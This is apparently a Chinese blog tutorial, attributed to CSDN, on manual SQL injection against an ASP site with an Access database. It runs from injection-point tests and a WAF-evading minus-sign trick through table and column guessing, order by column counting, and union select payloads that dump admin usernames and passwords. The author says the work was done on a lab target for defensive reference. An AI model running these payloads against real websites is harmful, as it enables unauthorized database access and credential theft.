什么是SQL注入?
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息 ----百度百科
寻找注入点
首先呢,在网站中寻找传递参数的页面,也就是寻找注入点。
判断注入
找到页面(注入点)之后呢,我们需要判断当前页面是否存在注入
传统的方法是:
语句 | 状态 |
---|---|
链接后面加 ’ | 报错 |
and 1=1 | 正常 |
and 1=2 | 报错 |
or 1=2 | 正常 |
or 1=1 | 报错或者跳转到另外一个页面 |
我们不使用传统的方法,因为传统的方法在web服务器有WAF的情况下输入的语句会被拦截。我们一般在值前面加上 “ - ”(减号),页面变空白了(报错),说明网页把我们输入的值传递到数据库查询了,数据库没有这个结果,所以返回空白。
接着在链接后面空格输入 “ -0 ”
这时候,我们可以看到,页面又返回正常了。
在ASP网页中,用到的数据库基本上都是access或者Mssql。不同的数据库所用到的语句是不一样的。接下来,我们要用到SQL语句来判断数据库是Access还是Mssql(Microsoft SQL)。
语句 | 数据库 |
---|---|
and exsits(select * from sysobjects) | SQL server |
and exsits(select * from msysobjects) | Access |
先判断它是否为SQL server 数据库,输入
and exsits(select * from sysobjects)
网页提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80040e37’
[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 数据库引擎找不到输入表或查询 ‘sysobjects’。 确定它是否存在,以及它的名称的拼写是否正确。 /Production/PRODUCT_DETAIL.asp,行 5
“数据库引擎找不到输入表或查询” 说明该网站用的不是SQL server数据库,这时,我们可以发现红色划线中" Microsoft Access " 其实,我们不需要再输入下一条语句就可以直接判断网站用的是什么数据库了。(也就是只需要网站报错显示数据库信息即可)
猜字段
我们已知数据库类型,接下来就是猜表名和列名了
语句 |
---|
and exists (select 列名 from 表名) |
先猜表名,页面正常即存在表
and exists (select * from admin)
猜完表名后再猜列名
and exists(select password from admin)
这应该是存放密码的列了
我们猜下存放账号的列
and exists(select admin from admin)
都存在,最后我们开始猜字段(列)长度
语句 | 释 |
---|---|
order by 数字 | 字段小于或等于时,页面正常,大于时,页面错误 |
我们输入的是 order by 11 说明字段小于或等于
输入 order by 22,还是正常
输入 order by23 ,页面错误,说明字段长度就是 22
爆字段
表名、列名字和段长度都猜出来了,最后,我们尝试爆出字段的内容
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
//admin为表名
可以看出页面上显示了3和15
在3,15替换我们猜好的两个列名,这时候呢,账号和密码就爆出来了。
union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
技术是把双刃剑,本次攻击主要是为了网站防御做参考,请勿用于非法途径!!本次模拟的攻击手法全程在虚拟机里的靶机进行。
----CSDN:爱钻研的大华
未经允许,禁止转载。